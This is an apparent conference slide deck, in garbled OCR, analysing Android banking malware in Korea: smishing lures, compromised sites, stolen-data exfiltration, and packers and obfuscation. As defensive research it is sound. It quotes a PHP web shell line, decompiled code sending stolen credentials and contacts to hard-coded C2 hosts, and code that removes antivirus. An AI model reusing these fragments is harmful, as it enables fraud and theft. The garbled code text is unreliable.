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225,000

Mobile Malware Evolution

Number of new malicious
mobile programs

2014 2015

Number of mobile
banking Trojans

17,000

12,750

3,500

4,250

2014 2015

Number of attacked countries is growing

90

(2014)

137

(2015)

source : Mobile malware evolution 2015 (Kaspersky, 16.2)



Recently, SMS Phishing in Europe

0.a. Send short message

Vi kunne ikke levere din ordre.
Kontroller venligst dine
forsendelsesoplysninger her http:/
/bit.ly/1ZfcNeV

1. Check
message

Be taken over

Threat actors

0.b. Upload malware

Malware

0:¢c. Setup C2 server

C2 Servers

Hosting Sites

Device privaey,

2. Download Interceptéd sms

malware

Control Instructions

Victim users

Detect intended targets:
whatsapp, playstore, ubercab...

Overlay a phishing
view on that of target

Overview

Phished
credentials

MMS Messaging exts.denmark

p! Post com.hubczlmumu.bkmnujkw

& PostDanmark com.hfroiwyah.hqfvjrqg

Post app exts.whats

App Name / Package Name

[ source :, THE LATEST ANDROID OVERLAY MALWARE SPREADING VIA
SMS PHISHING IN EURORPE, FireEye Report, 16.6.28 ]




Recently, SMS Phishing in Europe(Cont.)

assets 16 < android: configChanges="keyboardHidden|orientation" android:excludeFromRecents="true" android:launchMode="
singleTop" android:name="com. lpygioep.tjzcverotl.yspbkw" android:screenOrientation="portrait" android:theme="
mptxIp.dat @android:style/Theme.Translucent">
original 1/ » - . _
18 < android:name="android. intent.action.MAIN"/>
res 19 < android:name="android. intent.category.LAUNCHER" />
smali 20 2/ >
21 </ >
com 22 < android: configChanges="
T keyboard | keyboardHidden |orientation|screenLayout |screenSize|smallestScreenSize |uiMode" android:excludeFromRecents="
true" android:launchMode="singleTask" android:name="com.lpygioep.tjzcverotl.tdbkjbgts.cqkwjqjtoz" android:theme="
ioltsrc @style/LightDialogTheme" android:windowSoftInputMode="stateUnchanged"/>
. 23 < android: configChanges="
a.smali keyboard | keyboardHidden |orientation|screenLayout |screenSize|smallestScreenSize |uiMode" android:excludeFromRecents="
b.smali true" android:name="com. lpygioep.tjzcverotl.tdbkjbgts.zlapwp" android:theme="@style/LightDialogTheme" android:
) windowSoftInputMode="stateUnchanged" />
c.smali 24 < android:name="com. lpygioep.tjzcverotl.wqrifafv"/>
d.smali 25 < android:enabled="true" android:exported="true" android:name="com.lpygioep.tjzcverotl.tlwao">
26 < >
mrtbeig.smali 27 < android:name="android. intent.action.BOOT_COMPLETED" />
unknown 28 < android:name="com. lpygioep.tjzcverotl.wakeup"/>
29 </ >
30 </ >
apktool.ym| 31 < android:enabled="true" android:exported="false" android:name="com. lpygioep.tjzcverotl.visqw">
32 < >
33 < android:name="com.whats.process"/>
34 </ >
35 </ >
36 < android:name="com. lpygioep.tjzcverotl.hmqrmzkvz" android:permission="android.permission.BIND_DEVICE_ADMIN"
>
37 < >
38 < android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
39 < android:name="android.app.action.DEVICE_ADMIN_DISABLE_REQUESTED"/>
40 < android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED"/>
41 </ >
42 < android:name="android.app.device_admin" android:resource="@xml/policies"/>
43 </ >
44 < android:enabled="true" android:exported="true" android:name="com.lpygioep.tjzcverotl.biuzuye">
45 < android:priority="999">
46 < android:name="android.provider.Telephony.SMS_RECEIVED" />
47 </ >
48 </ >
49 < android:exported="false" android:name="com. lpygioep.tjzcverotl.jkzrcelyi"/>
50 < android:exported="false" android:name="com.lpygioep.tjzcverotl.iynlhdybs"/>
51 < android:name="com. lpygioep.tjzcverotl.neuevixh"/>
52 < android:name="com. lpygioep.tjzcverotl.wgsweriuqd" />
53 < android:name="com. lpygioep.tjzcverotl.hronaige"/>
54 < android:name="com. lpygioep.tjzcverotl.exvsrizni"/>
55 < android:name="com. lpygioep.tjzcverotl.scetjxjrv"/>

Code structure and manifest file of obfuscated code



Smartphone banking users in Korea

134%

Smartphone Smartphone

Population .
users banking users

51 million 46 million 68 million

(*) Including multiple banks app users



Security Policy on Financial Services Sector in Korea

® ID Card ® Security Number Card

( 11 NO |j|]|j|jl:§:322‘.

» ) SHINHAN BANK 5 otreny o A TRANSLATION :
TRANSLATION : ID card r 3 *This table is used for internet banking
ggg?ael:geocrrjgriglll_\a?:gér: 000000 - 0000000 /4 KB Kookmin Bank k as well as telebanking service.

Address: Seoul, OO0 Gu, OO0 Dong KEBL 91/ ew

m Industrial
Bank of Korea

5 HanaBank e WooriBank

@ Two-Factor Authentication

TRANSLATION :
The certification number for your SMS

@ Certificate Authentication [896*** ]. From OObank

(NPKI, National Public

Dol SMS QEE It

O| ==L
@ OTP Number
Key Infrastructure)




Financial Fraud Android Malware Timeline in Korea

Cyber Bypassing Intelligence Service Obstructing
Financial Fraud a Protection Plan Attack Analysis
Leakin Inducing Bypassin R : :
Stealing officialg people to input yr;-\RS 9  Eliminati Voice Deletion Commercial Change

on of phishing Obstruc Packer/

C21P
AntiVirus connection  tion  Protecter

authentication certificate information confirmation

2012 2013 2014 2015 2016
Banking Apps Guidance on Prohibiting changing Smishing Providing Smishing
dissemination pharming originated number Block Apps by Prevention Guide

protection (Feb 2014) Pre-loaded (Mar 2015)

(Mar 2013) (Sep 2014)



Financial Fraud Malware(PC) Timeline in Korea

- \
Phishing
Pharming
: : PAC
: iframe VPN Compromised Memory Home router _
hosts hosts.ics (monitor I.LE) tunneling DNS Patch  Vulnerability (Prgﬁf‘;‘;m
- /

2004 2007 2013 2014 AONES 2016



1) Methods of Dissemination



How do bad guys infect victim’s device in korea?

« Smishing(SMS Phishing) is a form of criminal activity using
social engineering technique

COMPANY
A

Accoys

This is DeepSec 2016! We
provide app including program
list and material. Go forit!
http://www.deepsec-***.com |

| Send SMS

{
I
i

Collect e
phone numbers “Smishing” Install FakeApp


http://www.deepsec2016-*****.com

1) Methods of Dissemination

* Smishing

» Fake validation process for getting victim’s trust

Victim

. _ _ Compair saved phone
- Exist : Download Financial Fraud Malware number in server

w/ sending number,
- Not Exist : Nothing (just show error message)



Fake Apps in Korea

p .
/ WEDDING
- DAY

Chrome Adobe Install Flash  Mobile Invitation
Player Settings for Wedding

Domestic Domestic Domestic Supreme
Capital Company Delivery Service  Prosecutors’ Office



1) Methods of Dissemination

* Smishing
« Card Point (Aug 2016)

SMS Phishing Phishing Site(user verification page)

TRANSLATION :
Point Gift will be sent within [ZQIEMSO0[1A[ZILIOf| =2f0]|
one hour. Customer 00O, Hol|L|OO0 1AL etlstA|Z
Please Check it. HIZL|Cthttp://ka.do/****
http://ka.do/****

SUEZO ROEC o

* Bad guys request victim’'s name, phone number for getting trust.

TRANSLATION : o .
Check Card Points Steal Victim Card Credentials

71E X018 X8| 7l X1\ X8

TRANSLATION :

Card Number

Card valid expiration date

CVC numbers

TRANSLATION TRANSLATION : Please select

Name your card company Password

Fake Check Card Point App  Social Security Number  for checking your point. e Certificate(NPKI) Password



http://ka.do/****

1) Methods of Dissemination

* Smishing
« Sewol ferry disaster (Apr 2014)

4/16 4/17 4/18 4/19 4/21 4/22 4/23 4/24 5/2

[[GO! S1&] 7% QANZIEENYSE B AN SE MES 23 9A|Z AEX @ OIQHRILICH AUX| WS JHIES 7|5

£l 64f 0{2I0] Z AR 25% 50| f EE AR 55 O 6 XM Z0|C. QLICHMES FEAD | 4E X3

“ot7| ot7| ot7|” g HE7| http:// S0 SGHHET|. : ] A http:// x3ax3A http:// J SHXE F2ELIC 3yu.net/y7*

http://ww.tl/ www.mxc.kr/15g** @l Hosisting**.info goo.gl/lcWg** g00.gl/kCmMV* B goo.gl/NzO99**
cKJGn2** 6™
[Yonhap News]  [[GO! Site] Asix- Real-time breaking Real-time breaking The survival of 78  [Breaking Six missing I am very sorry. Ir_1qU|tr.y mtc; ;he _
Video of the year-old child news: 25 more news: 55 more students and News] Two people | won't forget. situation of donation
rescue status of rescued. deaths fromthe ~ deaths from the teachers of Danwon Survivors found  successfully | remember the after the SeW?'
the sinking Ferry “Bapy, baby, sinking of Sewol.  sinking of Sewol. High School at window #3 of res?ued around  victims of the aRCESeRrXCh;E)S/
Sewol. http:/ baby” http:/ More: http:/ Hosisting confirmed. httpz// ~ Sewol. http:// 9 OddOCk onthe accident of sinking
REDIRACTED REDIRACTED  REDIRACTED  hitp://REDIRACTED REDIRACTED REDIRACTED 23" http:/ Sewol. http:/

REDIRACTED  REDIRACTED



1) Methods of Dissemination

* Website
. Compromlsed Web Server (Mar 2016)

1‘ - Header Slgnature(GIF) Uploaded WebSheII
| - Using File Upload Vulnerability |

| GIF89allfimmmm
DOOOLL | G062 67 F ! k7 oee[ i 660 CelB0cHee  1o6ee 6
b6 sRs | UU0E | LLLLLLLO LR
cc{s {ssBGssss@kJ@kRZ kOkZ{kZ: { k@

J-

_ '\_:.:ku”:' request(“cmd” ) )3)> (?7php eval($ POST|cmd]);?)</
iced Android Malware Mobile User
Compromise (Fake apD)
Web Server — e

(same server)

PC Malwar
(Pharming) PC User



1) Methods of Dissemination

* Website
« Compromised online bus ticket booking site (Apr 2014)

1}

>

google play
store

<resources>
<string name="app_name'>google play store<jstring>

js</string>

Google Play 2 23F ojTile1EE,

<string na

DA AT 2 HH

</resources>

TRANSLATION : http://REDIRACTED Page TRANSLATION : One malicious code was found.
content : Necessary updates for Google Play. To remove it, please delete the following app.



1) Methods of Dissemination

* Market
 Credit card management app (Apr 2014)

Bank Card Capital
Company Company Company

TRANSLATION :
All banks, All cards



1) Methods of Dissemination

. P2P

* ‘The Interview’ app turns out to be banking Trojan (Dec 2014)

Mgy

k‘ﬁ C| QIE{R SSUYE

manifest android:versionCode="1" android:versionName="1.0" package="::*

<uses-sdk android:minSdkVersion="1C "andrmd targetSdeersuon— 15" />

<uses-permission android:name= SION.INTERNET"

<uses-permission android:name= VRITE E xTEF ~L STORAGE" />
At ¢ QAUEF <uses-permission android:na nd ‘ (AGES"

<application android:icon= App_nar
<activity android:label=" fitle_activity asyn task example® android:name="
<intent-filter>
<action android:name="an ntent.a ‘.wr ">
<category android:name="; pid.inter egory.LAUNCHER" />
<fintent-filter>

Check manufacturing information,
Smartphone “Arirang” or tablet PC “Samjiyon” (Android-based)

C] QIE{!
S s Hi I
TRANSLATION :

‘The Interview’
Free distribution

DeviceName()equals( X))
This. 28| 27130 FAIFH TS siFaAIL. ZARBILICE",

ontext(), "HOIX| 2€ F.... =8| 2730 FAIFH TS siFLHAIL!. ZARILICE",

TRANSLAMTION : TRANSLATION : “Page loading ... Please access
Movie ‘The Interview’ large number of Views after a while! Thank you.”



1) Methods of Dissemination

« SNS
. Twitter (Jul 2014)

JHI A S AZEO! H| SIS A
Ml Ol 2 ci==Al

TRANSLATION : An undisclosed video on TRANSLATION : Disclosure of the video

Yu Byung-Eun’s will found in his secret of the final communication with the fire
safe box. Please download it to let the department helicopter that assisted
world know. http://REDIACTED. Sewol before its crash http://

REDIACTED.



1) Methods of Dissemination

e [OoT

 Home router vulnerability attack

Home Router
‘\
«,

Vulnerability Attack

(outdated firmware, default-password)

Installation

.

PC User

Mobile User

(casel) Bring personal
information for getting account

AYES TUED|E AN THOR 50

AR Ect AN U2 3=

(case2) Download malware
from hacker’s server

pharming malware
using Active X

TRANSLATION:[Naver] Input
Authentication Number [274021]

[Welpd] olZHi g
o)2AXH ML,

\%.\

After stealing SMS authentication,
victim’s account are used
for viral marketing.

) SHINHAN BANK ey

N H Bank
KB Kookmin Bank

KEBw ¥ &%

KB=g'2%g

S woorisank

Download additional
fake banking trojans



2) Types of malicious apps



2) Types of malicious apps

 Financial Mobile Malware Evolution

Steal certificate Downloader Call Forwarding

assets

B 1.apk
B 2.apk .
B 3.apk
- N _

Avoid Banking
ARS Authentication

D) {
NPRT", "Isdcard/npki.zip");
MainActivity.this putFiles(new S Cobal bl 1 as

Constant.LOCAL _MOBILE) + " _" + Global.imei + "INPKI"),

EE

ME QBHO| FA|SIQALICH THAIZ
% 0|@3HAI7| HiLIC

gol
[—————

TRANSLATION : Notification.
A new version has been
introduced.

Please use it after
reinstallation.



2) Types of malicious apps

* Financial Mobile Malware Evolution (Cont.)

Disquised as Credit Manage app

TRANSLATION :
ALL BANK, ALL CARD

Scan Security Card

eralEe7tE X8

FAL2RALZ| OIS 28 2|7 H QORI
SABRILPEBUESE ==e

HESA SEAS 2B Aore=
el SRl

TRANSLATION:
Relaxation security card
applied. The assurance
security card, which is the
best security medium,
was applied to prevent
electronic financial fraud.

TRANSLATION:Bank:

Please scan the security
card code of the account
you want to request.



2) Types of malicious apps

* Financial Mobile Malware Evolution (Cont.)

Voice Phishing Connection

(Casel)

TRANSLATION :

Name

or2

1

=

H4UR SIRGUICHRIMBHE
SOl AENE FHA HUHFA|
BrLict

TRANSLATION :
Notification. (Application/
request) received. Please
contact the call center for
detailed inquiries.

Phone Number
Birth date
Company Name
Salary

Required money

(Case2)
TRANSLATION : Because wxior gL
an identity confirmation MeE B urolEAIY HIBLICE
procedure will follow Shortly 0821087313974

through the number provided
below, please be sure to
answer your phone.

KakaoTalk

Voice
Phishig Attack

NN\

Voice Phishing Group
(call victims)



2) Types of malicious apps

» Spy software, Sextortion, etc.

Spy software(Record, GPS..) Sextortion

public void onCreate() { Inducing lewd acts  Notify the failure of voice support
o , "oncreate"”); ) through chatting and then induce the installation
t' M eLelgiL=2. = iS: = — : &
 this.record = new AudioRecoder(this.context), '

;.; if( .getExternalStorageState().equals("mounted”)}

of an additional app.

TRANSLATION :
Subin : Honey, you
didn't install the
Skype voice support

this.initRecDir();

this.check MIC or VOICECALL();

this.initUrl();
this.registerGpsBroadcastReceiver(); TRANSLATION : app, did you?
this.registerUsbBroadcastReceiver(); Subin : Show me
this.telephonyManager = this.getSystemService("phone”); the f d th
this.audioManager = this.getSystemService("audio™); € Tace an c NEWEIG
this.keyManager = this.getSystemService("keyguard™); body together,
if possible, below :
Famous Domestic Meessenger
(Chat Logs) | :
static { +
KakaoTalkData. DatabaseFilp = "/data/data/com.kakao.talk/databases/KakaoTalk.db";
} '
public KakaoTalkData() {
super(); ) ' . . . y
:::z:g;‘:/g:bl_elr\}:me= "chat_logs",; A maIICIOUS app VICtIm S

this.strNewKakaoDataFile = null; 2 Steallng addreSS bOOkS Friends




2) Types of malicious apps

» Bypassing security solution detection

Fake Ul Stop Anti-Virus Process Inhibit Anti-Virus installation
(Denial of Service)

TRANSLATION :
Protecting your privacy. "android.permission.KILL BACKGROUND PROCESSES"

assets
B baby.apk

<resources> o » ) by
<string name="app2’#AhnLah V3 Mobile s 2.0
</resources>

V3 Mobile Plus 2.0
23
2

7+ V3 Mobile Plus 2.0

%3

Copyright (C) Ahnlab,Inc. 2006-2012 A rights reserved.




2) Types of malicious apps

» Bypassing security solution detection (Cont.)

Uninstall Anti-Virus

TRANSLATION :
V3 Mobile Plus 2.0 found
one malicious code

public class SelfProActivity extends Activity implements ViewfOnClickListener
private LinearLayout full_[[;

public SelfProActivity() {

super();
¥
. public void onCligk SRt
V3Mommph§20 GeneralUtiljuninstal LAPK{{{Context)this),
OReE HEEE GeneralUtiljuninstal LAPK({{{Context Ythis),

T

181 o =231 0144 M7

public static void uninstal LAPK{Conte:

V3 Mobile Plus 2.0 arg4.startactivity{new Inten

¥

T 77t et | & Lch

TRANSLATION :
Removal has been
completed.



3) How to leak victim's data




3) How to leak victim's data

« HTTP

static {
HttpSender.strHost =|"http:// 152.84",
HttpSender.strPath =|"/papal/bbs/write_update.php'l;

HttpSender.strPhoneName = Build.DEVICE + ".va0":
psender.sti-honeiName i TRANSLATION : You have no

Sy wh= i FleEiodditek right to read artlcles._ If you are a
strText += HttpSender.strFingerPrint; member, please IOg in to use it.

v5 = new (Htthe"ce'.strHost + HitpSender.strPath);
v5. addHeader( charset’

public static Readhost() {
v2 = "http://*_ __ . _.251.34:80";
v0 = SimplePreference.getinstance().getPreferenceString(“r_host");
iff! JisEmpty((( VO {
v2 = SimpleNetUtils.dhost(v0);

}

uII , new StnrgBoc:'y( )
, new StringBody(
o_table", new Stﬂ"gBOC\“)
|d , new StringBody(
, new StringBody( ))
, new StringBody(
, new StringBody(
, new StringBody(
, new StringBody(
od”, new StringBody(
age"”, new StringBody(
wr_name”, new StringBody(HttpSender.strPhoneName));
("wr_password”, new StringBody(""));

"wr_subject”, new StringBody(strTitle, forName("UTF-8")));
("wr_content”, new StringBody(strText, forName("UTF-8")));
("wr_link1", new StringBody("™));

("wr_link2", new StringBody("™));
. ("bf_file[]", ((ContentBody)v0)); .
v5.selEntly vz Posting data on BBS
ve = (( w12).execute((( w5));
if(v6.getStatusLine().getStatusCode() == 200 && this.inStream2String(v6.getEntity()
getContent()).indexOf("“wr_id=
.out.printin("upload file ok
return true;

5:55-3
=2

[] v3 = Plugin.this.loadAddress();
if(v3 != null && v3.length > 0) {
int v23 = v3.length,;
intv22 1,
for(v22_1=0; v22_1 < v23; ++v22 1){
vi4 = v3[v22 1);
v10 = null;

]

W n o

8
"trt;" 8|

oHoIC)
iAo c
if(v14 != null) { =
try {
if('v14.isEmpty()) {

v10_1 = new ("http://" + v14 + ":3883").openConnection(),

(( W10_1).setConnectTimeout(10000);

(( w10_1).setReadTimeout(15000);

(( Ww10_1).setRequestMethod("POST

(( v10_1).setDoOutput(true);

(( w10 _1).setDolnput(true);

(( v10_1).setUseCaches(false);

(( v10_1).setRequestProperty(“Content-Type”,

‘application/x-www-form-urlencoded");

(( W10 _1).connect();

("
("
(,‘
"
("
("
("
"
"
"
"
"

BBS(Bulletin Board System)

HTTP (POST/GET)



3) How to leak victim's data

« SMTP

Email address

namesdsfw @126.com e (9) SO -

ublic static GetUrlToolSMSPSW N (TREEY .. .

- V1'= L o 59 HRE SHANOE Victim’s mobile number
Email password E78

0104903

Hard coded Hacker’s Email Account +821064

AFZEHD ERAEAE () 350553 2 vz

LB CIPE

AREALH|THE

AHZOIHBI L H T e rirss

_ _ _ - HEE 2105575 _npkizig|
Banking Login Credential 2F) BEE AAQ) 27|(V) S2UH NPKI alsignCert.der

id:3542 ++++  accountNam: &l - __| signPri.key

++++ accountPsw:0 Hhhk y

++++ bkType:SH #++++ card: [1]

I ) ] 15 22 29 N b - ,? [E;] [9] []D]

5§ H3S (01]123456-1234567) @ 16 23 30 3 [ 1 5] [ 1 5] [ 1 ?] [ 1 8]

0 0 ‘Z 3: y y [23] oo [2-—1] [25] [25]

12 el p *+x++ CcertPswii .. ..__ .. *#**+ person
S ++++  transPsw:17

2 28 35

Name,SSN, Security code Hacker’s Email(Leaked Financial Information)

Mobile number




Obfuscated Android Malware



Obfuscated Android Malware Timeline in Korea

Optimizer

/Obfuscator Protector Packer
Base64 X Java APK
Raw DES Encrypted Dex q :
/Pro adec Reflec JNI Prote : Bangcle Jiagu Tencent
guard /Assets /AES . DEX tion guard - .~ shield
2013 2014 AONES 2016



Obfuscated Android Malware

- Assets / Raw

public class
private static int decode
int v3 60466176;
int v
int vi (345¢€
while (true
int
if (v

.ddns.info
.wha.la

A¥
Y

[ oL | o .

install malicious APK in Assets Resource

public static aC arg5, int argé)
int v@_2;
) vl
‘e v3; public static
try { int v
v3 new » ' (new | ‘ while (v:
vl = v3.readLine();
if(vl 1= null) {

goto : H

Manifest Resources 23 Certificate Assembly public static
= = = —= int

| - ;
phone.txt : while (vi < ara3

|___saddrixt

Decoding Obfuscated String from Raw Resource



Obfuscated Android Malware

. Baseb4 / DES / AES / Hexadecimal

public static byte[] a(byte[] arg4, String arg5) {
byte[] v0_2;

"VIiFaV2IxVXdNVWhVYTFacFRURNAUbHBYZEZaT1ZsRIJNWRLJIJDYKZKVVIrWlZWbWhYVkd4y

m();
-S> 198100124***505/5m5 admin (C2) {ey vl = retk r .getlnstancgenerateSecret(new
- f v2 = Cipher.getinstance("DES");
v2.init(2, ((Keyv1), vO);
v0_2 = v2.doFinal(arg4);
Base64 }

DES

public static String e(String arg3) { 4 menu

activity.xm|

main.xml

vl.init(2, Ke
VO_2 = new St M, ; config.properties

-> 27.54.225.*** (C2) -> 60.71.101*** (C2)

AES Hexadecimal to Text



Obfuscated Android Malware

- Use different IP every day

Mon(***.***.166.32) Tue(**.7**.166.43) Wed(™*.***.166.44)

Thu(*™*.***.166.45) Fri, Sat, Sun(***.***.166.46)



Obfuscated Android Malware

Encrypted DEX

lanifest Resources : y Decompiled Java Strings

BE 7C 1B D9 11 D8 A9 C

= =

T ")’

=,loadDex (v8,

After decrypt Dex(encrypted DES) , Load it(main malicious code)



Obfuscated Android Malware

- Native Code (JNI)

[~ Libraries
[~ armeabi-v7a
lo10 liobgame.so

public final class API {

static native byte[] decode(byte[] arg®, byte[] argl) {

static native byte[] encode(byte[] arg®, byte[] argl) {

static native Stri initW(String argd,

static native void startService(S

static native String tea( ng argd®) {

static native Strir ng argd) {

a_qe§$haredpreF_tq(
return arg2,getStri A

(cor har *) (* (i *) (voi DWORD * + 676)) ()
Istremp (v3, "ia") )

"94ETh3+JkWlhprp8BjY6XQ" ;
if ( Istramp(vS, "ib") )

r

"FMpYO9+EvZfizXw51ySNgw";

if ( Istrecmp(vs, "ic") )

= "FMpY03+EvZdfdbDs8F15iA";

if ( Istrcmp(v5, "id") )

"FMpY03+EvZIMR2xsYVvTSYA" ;

if ( I!strcmp(v5, "ie") )

"DAcxS5NwoQlFCMIwCa2eNT1lwbmAt00T1dYnQ jnFeZ1LEBDYLiENyvZIQ";

if ( Istrcmp(v5, "if") )

"moqgiskng”;




Obfuscated Android Malware

- Protecter/Packer

Protecter/Packer Artifact Files in APK

APKProtect Lib/armeabi/libapkprotect.so
Apkprotect.com/key.dat

Assets/libprotectClass.so
Jiagu 360 Assets/libprotectClass_86.s0
Assets/libqupc.so

. Lib/armeabi/libmobisec.so
Alibaba Lib/armeabi/libmobisecx.so

Baidu Assets/baiduprotect.jar
Assets/libbaiduprotect_x86.so

Assets/bangcleplugin/container.dex
Assets/bangcleplugin/collector.dex
Assets/bangcleplugin/dgc
Assets/meta-data/manifest.mf
Bangcle Assets/meta—data/rsa.pgb
Assets/meta-data/rsa.sig
Assets/bangcle_classes.jar
Assets/libsecexe.so
Assets/libsecexe.x86.s0
Assets/libsecmain.so

Assets/ijm_lib/armeabi/libexec.so

Assets/ijm_lib/armeabi/libexecmain.so

ljiami Assets/ijm_lib/x86/libexec.so
Assets/ijm_lib/x86/libexecmain.so
Assets/ijiami.da

Assets/lib/armeabi/libmain.so
Assets/lib/armeabi/libshell.so

Tencent

Identification(Yara Rules)

Total Mobile

Malware Samples
: 87,506

Total Number of

Packer
: 14% (5,877)

@ Tencent @ Baidu
@® APKProtect @ ljiami @ Bangcle
@ Unicom SDK Loader @ Qihoo 360 @ Alibaba

® NQ Shield @ adbh

(source : KrCERT/CC, 2016.7.1~7.25)



Obfuscated Android Malware

- APKProtect (protecter)

AndroidManifest.xml
assets

classes.dex <application android:allowBackup=" android:debuggable=" " android:icon=
lib <activity android:label=" " android:name="
armeabi <intent-filter>
= <action android:name="
| <category androi
META-INF </intent-filter>
</activity>

i libAPKProtect.so ﬂ

Store

~
Google App »Bank_ ;_

Resourses - Bank icon(for install fake App)

HE /4
177
/7

i int re
17"

44

1, &v/, 0x10006u) )

= ptrace(0, 0, 0);
if ( byte_S523 || byte_5524 || byte_S525 || byte_5526 )
= Check_Dex();
if ( byte_S529 || byte_552A || (v5 = byte_5528, byte_S528) || byte_S52C )
= Check_qenud();
Patch_Dex(va, » ):
= 0x10006u;

)

return H

> But, Encry

return;
activeManagex (),

We can see EP.
pted string(Base64+DES)




Obfuscated Android Malware

APKProtect (protecter) (Cont.)

public void onCreate(Bundle paramBundle)

I
L

super.onCreate(paramBundle);
setContentView(213090340);
b = System.currentTimeMillis();
this.c =

paramBundle = this.c.edit();

paramBundle.putString{_1@@2a3d("M=qvuqs1lRCTKKTvb

paramBundle.commit ();
SmsHanager gctDeFault() >endT:AtHe>~age(gJ null

paramBundle =
ComponentName localComponentNam
paramBundle.putExtra(_le@@2a3d("

paramBundle.putExtra( 1@@2a3g(
>tartnct1v1t}(paramBundle;, —

super.onCreate(paramBundle);
setContent¥iew(213090324@);

b = System.currentTimeMillis();

this.c = getSharedPreferences( 10@20Jd(“€“nflgl
SharedPreferences.Editor localEditor =
localEditor.putString{_1@@2a3d("stateld
localEditor.commit();

SmsManager. gctDeFault() sendTextMessage(a, null,

Log.1{_1@@2a3d("whugezvcashou] ; "3,
Intent locallntent = new Intent( 10@2a;d("'ndr
ComponentName localComponenth u
locallntent.putExtra{_1@@2a3 ﬁ("'nd
locallntent.putExtra( l@@zaBU("an
startActivity(localIntent); |

"y

J, _10@2a3d("M=NGYVYNCNgdpoTdF"));

1002a3d("==

n.action.

DEhIkE

DD EXPL

ADD_DEVICE_

Obfuscated
String

getSharedPreferences(_1002a3d("QzdmbmFv0TelrYa2"), @);

uB+bm89Y019p+AS ‘K+LB6uSbSX9aei9b6+

3d (" cOHehME 3RNDL1CES"));
Kd15 uLlLLLnLn”H~tIthmH0tb"});

kIuQkY

:pl”p‘-'n'lﬁ

De-Obfuscated
String

"1

ADMINBERE

"class);

localComponentName);
1@02a3d( "Additionaltex

"1

getPackageManager(). \etComponcntEnabledbettlng(getComponentHame(),

finish{);




Obfuscated Android Malware

—_—
NqShield (packer) —|Hiunda

SACHFHI|E
.= Assets

2 public static void loadXShelllLib(Context arg6) {
L] DexToLoad.apk Common. NqLog( + Bulld.CPUABD);

: ) if(Build. CPU_ABI. equals( N {
1010 |Ibnq5h|e|dX86.SO String v@ = arg6.getFilesDir().getAbsolutePath();
2 nqdata tring vl = String.valueOf(String.valuedf(ve.substring(®, v@.lastIndex0f("/"))) +
Common. copyFromAssetsIfNotExists(argé, , v1);
[~ Libra l’ies Common. runCommand( + vl);
armeabi 'm. Lload(v1l);
P

10 libngshield.so

app prtoected by ngshield

public static void CopyBinaryFile(Context arg?) {
Conmon NgLog( R s
g = arg7.getFilesDir().getAbsolutePath();

ConmonicopyFromAssetsIFNotEx1sts(arg?
Common copyFromAssetsIfNotExists(arg?,

ing v@ = arg7.getPackageCodePath();

if(ve.startsWith("/")) {
v@ = v@.substring(l);

}

‘jniExpdréjgétJﬁiprdrt().ﬁdl@(v3, + vOlrep{aééC'/'; '@})7+ 1S 7Common getSDKVer51on()),

classes.dex generated from DexToload.apk and ngdata in assets.



Obfuscated Android Malware

- NgShield (packer) (Cont.)

POST /fo/baseservice.asmx HTTP/1.1

User-Agent: ksoap2-android/2.6.0+
SO0APAction: http://tempuri.org/AddContact
Content-Type: text/xml;charset=utf-8

private Str getRequestlson(int arg5) throws
JSONS v@ = new JSONStringer();
ve. DM —
ve. ).object();
ve. ).value(((longdargs));
ve. ke ).value( DR
vo. ).value(this.getIMEI());
v@. ke ).value(this.getIMSI());
vO. ke ).value(this.getPackageName());
v@. ke ).value(this.getVersionCode());
v@. ke D.value(this.getWIFIMACAdAr());
v@. ke Y.value(Build.MODEL);
v@.ke Y.value(Build$VERSION. SDKD;
¢ Y.value(Build$VERSION. RELEASE);
). value(Bt |.CPU_ABI);

Accept-Encoding: gzip
Host: 175.197.49.152
Connection: Keep-Alive
Content-Length: 1265

{v:Envelope xmlns:i="http://www.w3.org/2001/XMLSchema-instance’ xmlns:d="
&1t ;Device&gt;602d51af-5156-402f-8cdf-a1bcdb5b3129&1t; /Devicedqgt;

&1t ;Name&qgt ; 6103224: /Nameé&gt;

&1t ;Numberé&gt ;corey&lt; /Numberé&gt;

&1t ;Devicedgt;602d51af-5156-402f-8cdf-a1bcdb5b3129&1t; /Devicetqgt;

&1t ;Name&gt ;324234 s;/Nameégt;

&1t ;numper&gt ;maryé&lt; /Numberégt ;
&1t;Device&gt;602d51af-5156-402f-8cdf-a1bcdb5b3129&1t; /Device&gt;

Steal dEVICe InfOrmatlon &1t ;Name&gt ; (B43) 432- /Nameé&gt;

).value(((long)this.mStatus));

Steal victim’s contacts (traffic packet)



Obfuscated Android Malware

ananifest android:versionCode= android:versionName=" ack org. v iamlns :android="
. <uses-sdk android:minSdkVersion="3" android:targetSdeé.Ls 2 E—
<uses-permission android:name="
® J I a g u ( D a C |<e r) <uses-permission android:name="
: <uses-permission android:nan
—— <uses-permission android:nan
<uses-permission android:nan

Adobe |nsta” <uses-permission android:name=

android:label= android: nam:

<application android:icon="

FlaSh Player <activity and label=" " android:name= A

<service android:name=" ">

Resources
Assets

.Libraries

-armeabi

X| libjiagu_art.so
—X86

X libjiagu_art.so

it function = Data W Regula- Sinct i o W Instnicticn

Freamal sy ool

B Stractunes

Recover
Section Header

bApp

super{);

4 0:

protected void attachBaseContext( argé) { THTERD g 2000132 0x0000013¢ 0x
super.attachBaseContext{argé); ] 00000 0

00000134
em/bin

NS

AbsolutePath{);

ic ’
n.valuedf {false);
s( 3 1 (Build.CPU_ABIZ .contains(

=S = = = = -

Native Library - libjiagu_art.so



Obfuscated Android Malware

- Jiagu (packer) (Cont.)

|
|
f
f

| > Check "/proc/self/status" | TRANSLATION: s
| You must do name verification.

Name, Social Security Number
> Check “/proc/self/tcp" | __ISHIE
‘ HEUSO| BRIAULC
for “tcp:23946” | .

0|18(&3)

for "TracerPid" attribute

(remotely debugging default port in IDA)

I
m-P If exist, terminate process

Anti Debugging (ibjiagu_art.so)

XOIEFSHHS
TLI(‘) |n’.‘Y

R —NEERHE  WERX
MM FPEYINR

Request Fake Famous
Device Administrator Privileges Mobile Messenger Ul



Obfuscated Android Malware

.~ Assets
ChatON
.~ bangcleplugin

L5 container.apk
7| dgc

.~ meta-data
7| manifest.mf

—l

<application android:allowBackup=" " android:icon=" " android:label=" " android:name
<activity android:label=" " android:name=" . . . ">
<intent-filter>

<action android:name="
rsa.pub <category android:name="
</intent-filters>

rsa.sig </activity>

12 Encrypt Jar a part of Manifest

(Encrypt Dex)

?
=

?
=

public void onCreate() { public static void runAll(Context arg4) {
super.onCreate(); Util.x86Ctx = arg4;
ifQUtil ae a1 gl ande .
